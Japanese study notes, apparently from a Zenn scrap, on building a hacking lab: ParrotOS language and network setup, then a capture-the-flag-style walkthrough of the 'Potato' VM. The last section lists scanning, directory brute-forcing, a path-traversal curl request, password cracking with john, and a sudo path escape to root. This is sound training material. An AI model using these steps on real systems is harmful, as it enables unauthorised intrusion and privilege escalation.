Open9
【メモ】ハッキング・ラボのつくりかた 完全版
![あぷし](https://res.cloudinary.com/zenn/image/fetch/s--D_WoBwH6--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_70/https://storage.googleapis.com/zenn-user-upload/avatar/3dd85b8346.jpeg)
日本語キーボード 入力設定
Mozcインストール
$ sudo apt install -y fcitx-mozc
$ im-config -n fcitx
$ fcitx-autostart
fcitx-configtool
- Imput Methodで「Mozc」を設定
- Global Config で Trigger Imput Method をZenkakuhankaku に設定
JIS配列対応
- パネルのキーボードアイコンを右クリックし、「Configure」を開く
- 「+」ボタンを押下
- 「Only Show Current Language」のチェックを外して「Japan」で検索
- 「Keyboard - Japanese」を選択する
![あぷし](https://res.cloudinary.com/zenn/image/fetch/s--D_WoBwH6--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_70/https://storage.googleapis.com/zenn-user-upload/avatar/3dd85b8346.jpeg)
日本語フォント設定
Notoフォント・フォントキャッシュ導入
sudo apt update && sudo apt install fonts-noto-cjk fonts-noto-cjk-extra fonts-noto-color-emoji && fc-cache -fv
インストール後、GUIからフォント変更
- 画面左下の「Menu」から「Preference」→「Appearance」→「Fonts」タブを選択
- 「Noto Sans CJK JP Regular」を設定する。
参考
![あぷし](https://res.cloudinary.com/zenn/image/fetch/s--D_WoBwH6--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_70/https://storage.googleapis.com/zenn-user-upload/avatar/3dd85b8346.jpeg)
各種設定
解像度変更
- Menu -> Preferences -> Displays
言語設定
タイムゾーン
- パネルの時計 → Location → Locations
- Tokyoの隣のSet...で反映
参考
![あぷし](https://res.cloudinary.com/zenn/image/fetch/s--D_WoBwH6--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_70/https://storage.googleapis.com/zenn-user-upload/avatar/3dd85b8346.jpeg)
メモ
追加でインストールが必要なツール
-
apparmor-utils
:aa-disable
コマンド -
ufw
:ufw
コマンド
sudo apt update -y
sudo apt install apparmor-utils ufw
![あぷし](https://res.cloudinary.com/zenn/image/fetch/s--D_WoBwH6--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_70/https://storage.googleapis.com/zenn-user-upload/avatar/3dd85b8346.jpeg)
UTM ネットワーク設定
P327 ParrotOSの仮想マシンを2台用意する
マシンのクローン
VMを右クリックして「複製」を押下する。
MACアドレスがクローン元と同じになっているので、変更する。
VMを右クリック→編集 → デバイス > ネットワーク > MACアドレス欄の「ランダム」ボタンを押下してMACアドレスを再設定する。
詳しいネットワーク設定
名前 | 設定値 |
---|---|
ネットワークモード | ホストのみ |
仮想ネットワークカード | virtio-net-pci(デフォルト) |
MACアドレス | 任意の値 |
詳細設定
名前 | 設定値 |
---|---|
ゲストをホストから隔離 | 未チェック |
ゲストネットワーク | 192.168.56.1/24 |
ゲストネットワーク(IPv6) | (空欄) |
DHCP割当開始アドレス | 192.168.56.100 |
DHCP割当終了アドレス | 192.168.56.254 |
DHCP割当開始アドレスに設定したIPアドレスがVM内でDHCPサーバーのIPアドレスとして使用される。
DHCPサーバーのIPアドレスは以下のコマンドで確認可能
cat /var/lib/dhcp/dhclient.leases
DHCPサーバーのIPアドレスを再設定する場合はdhclient
を使用して再リースする。
sudo dhclient -r
sudo dhclient
再リース後は/var/lib/dhcp/dhclient.leases
で内容を確認可能。
lease {
interface "enp0s1";
fixed-address 192.168.56.102;
server-name "<ホストPC名>";
option subnet-mask 255.255.255.0;
option dhcp-lease-time 86400;
option dhcp-message-type 5;
option dhcp-server-identifier 192.168.56.100;
renew 2 2024/03/05 03:27:11;
rebind 2 2024/03/05 03:27:11;
expire 2 2024/03/05 03:27:11;
}
lease {
interface "enp0s1";
fixed-address 192.168.56.102;
server-name "<ホストPC名>";
option subnet-mask 255.255.255.0;
option dhcp-lease-time 86400;
option dhcp-message-type 5;
option dhcp-server-identifier 192.168.56.100;
renew 2 2024/03/05 12:52:50;
rebind 3 2024/03/06 00:27:15;
expire 3 2024/03/06 03:27:15;
}
![あぷし](https://res.cloudinary.com/zenn/image/fetch/s--D_WoBwH6--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_70/https://storage.googleapis.com/zenn-user-upload/avatar/3dd85b8346.jpeg)
Netcat同士で通信する
ParrotOSマシンからParrotOS-Test(もしくはその逆)へ接続が失敗する。
前の項で有効にしたufw
が邪魔していたので、無効化する。
sudo ufw disable
![あぷし](https://res.cloudinary.com/zenn/image/fetch/s--D_WoBwH6--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_70/https://storage.googleapis.com/zenn-user-upload/avatar/3dd85b8346.jpeg)
#1 Potato
イメージ
ネットワーク設定
自環境ではWindowsPCにVirtualBoxをインストールしイメージを起動してネットワーク越しにアクセスをする。
UTM(ParrotOS側) ネットワーク設定
ネットワークモード: ブリッジ(詳細)
詳細設定はすべて空欄に戻す。
VirtualBox(Potato側) ネットワーク設定
割り当て: ブリッジアダプター
名前: ipconfig /all
で出てきた、「イーサネットアダプター イーサネット」の「説明」と同じ名前のもの
実施コマンド
sudo netdiscover -i enp0s1 -r <ネットワークアドレス>/24
sudo nmap -sC -sV -Pn -p- $IP -oN portscan_result.txt
ftp $IP 2112
-
file welcome.msg
q -
gobuster dir -u $URL -w /usr/share/wordlists/dirb/common.txt
-
/admin
のページの存在を確認
-
-
burpsuite
- 左上の
Application
からPentesting > Web Application Analysis > Web Application Proxies > BurpSuite
- Could not start Burp: java.lang.NullPointerException
sudo apt update && sudo apt upgrade
-
sudo apt-get update --fix-missing
で解決
- 左上の
-
Proxy > Intercept > Open browser
- 開かない → 公式HPで最新版をダウンロードして使用して解決
-
curl -X POST -b "pass=xxxx" -d "file=../../xxx"
-
-b
リクエストヘッダ
-
-
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
-
rockyou.txt.gz
しかない →sudo gzip -d /usr/share/wordlists/rockyou.txt.gz
で解凍
-
john hash.txt -show
-
sudo -l
- sudo実行権限確認
-
/bin/nice
コマンドを/notes
配下を対象として実行可能
sudo /bin/nice /notes/id.sh
-
sudo /bin/nice /notes/../bin/bash
→ root奪取 cat root.txt | base64 -d